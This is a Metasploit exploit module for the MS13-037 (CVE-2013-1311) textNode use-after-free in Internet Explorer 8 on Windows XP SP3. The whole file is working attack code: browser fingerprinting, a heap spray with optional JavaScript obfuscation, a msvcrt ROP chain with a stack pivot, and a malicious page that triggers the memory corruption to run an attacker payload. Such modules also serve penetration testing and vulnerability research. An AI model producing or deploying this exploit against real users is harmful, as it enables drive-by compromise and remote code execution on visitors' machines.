MS13-037 Microsoft Internet Explorer textNode Use-After-Free

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::RopDb  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "MS13-037 Microsoft Internet Explorer textNode Use-After-Free",  
'Description' => %q{  
This module exploits a use-after-free vulnerability in Microsoft Internet Explorer  
where a DOM textNode pointer becomes corrupted after style computation. This pointer is then overwritten when the innerHTML property on the parent object is set.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Scott Bell <[email protected]>' # Vulnerability discovery & Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2013-1311' ],  
[ 'MSB', 'MS13-037' ],  
[ 'URL', 'http://security-assessment.com/files/documents/advisory/ms13_037_ie_textnode_uaf.pdf' ]  
],  
'Payload' =>  
{  
'BadChars' => "\x00",  
'Space' => 812,  
'DisableNops' => true,  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500  
},  
'DefaultOptions' =>  
{  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', {} ],  
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ]  
],  
'Privileged' => false,  
'DisclosureDate' => "June 6 2013",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])  
], self.class)  
  
end  
  
def get_target(agent)  
#If the user is already specified by the user, we'll just use that  
return target if target.name != 'Automatic'  
  
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''  
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''  
  
ie_name = "IE #{ie}"  
  
case nt  
when '5.1'  
os_name = 'Windows XP SP3'  
end  
  
targets.each do |t|  
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))  
print_status("Target selected as: #{t.name}")  
return t  
end  
end  
  
return nil  
end  
  
def heap_spray(my_target, p)  
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))  
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))  
  
js = %Q|  
  
var heap_obj = new heapLib.ie(0x20000);  
var code = unescape("#{js_code}");  
var nops = unescape("#{js_nops}");  
while (nops.length < 0x80000) nops += nops;  
var offset = nops.substring(0, #{my_target['Offset']});  
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);  
while (shellcode.length < 0x40000) shellcode += shellcode;  
var block = shellcode.substring(0, (0x80000-6)/2);  
heap_obj.gc();  
for (var i=1; i < 0x300; i++) {  
heap_obj.alloc(block);  
}  
var overflow = nops.substring(0, 10);  
  
|  
  
js = heaplib(js, {:noobfu => true})  
  
if datastore['OBFUSCATE']  
js = ::Rex::Exploitation::JSObfu.new(js)  
js.obfuscate  
  
end  
  
return js  
end  
  
def get_payload(t, cli)  
code = payload.encoded  
  
# No rop. Just return the payload.  
return code if t['Rop'].nil?  
  
# ROP chain generated by mona.py - See corelan.be  
case t['Rop']  
when :msvcrt  
print_status("Using msvcrt ROP")  
  
stack_pivot = [  
0x77c1cafb, # POP EBP # RETN [msvcrt.dll]  
0x41414141, # Junk  
0x781a04cb # POP ECX # PUSH ESP # RETN [urlmon.dll]  
].pack("V*")  
  
# Set up required heap layout  
junk = "#{Rex::Text.rand_text_alpha(4)}"  
null = "\x00"*4  
valid_ptr = [0x0c0c0c0c].pack("V*")  
offset = [0x0c0c0c6c].pack("V*")  
heap_foo = junk*5 +  
valid_ptr*2 +  
junk +  
offset +  
junk*4 +  
valid_ptr +  
junk*6 +  
valid_ptr +  
null +  
junk*2  
  
rop_payload = heap_foo << generate_rop_payload('msvcrt', "", {'pivot'=>stack_pivot, 'target'=>'xp'})  
rop_payload << code  
end  
  
return rop_payload  
end  
  
def get_exploit(my_target, cli)  
p = get_payload(my_target, cli)  
js = heap_spray(my_target, p)  
  
html = %Q|  
<!doctype html>  
<html>  
<head>  
<script>  
#{js}  
function exploit() {  
var obj = document.createElement('s')  
obj.innerHTML = "⍼☠"  
document.body.appendChild(obj)  
  
document.styleSheets[0].cssText = "body:first-line{color:blue}"  
CollectGarbage()  
  
setTimeout(function(){  
for (i=0;i<1000;i++){  
obj.innerHTML = "\\u0c2c\\u0c0c\\u0c0c\\u0c0c\\u0c0c\\u0c0c\\u0c0c\\u0c0c";  
}  
}, 500)  
}  
</script>  
<style>  
</style>  
</head>  
<body onload='setTimeout("exploit()", 2000)'>  
</body>  
</html>  
|  
  
return html  
end  
  
  
def on_request_uri(cli, request)  
agent = request.headers['User-Agent']  
uri = request.uri  
print_status("Requesting: #{uri}")  
  
my_target = get_target(agent)  
# Avoid the attack if no suitable target found  
if my_target.nil?  
print_error("Browser not supported, sending 404: #{agent}")  
send_not_found(cli)  
return  
end  
  
html = get_exploit(my_target, cli)  
html = html.gsub(/^\t\t/, '')  
print_status "Sending HTML..."  
send_response(cli, html, {'Content-Type'=>'text/html'})  
  
end  
  
end`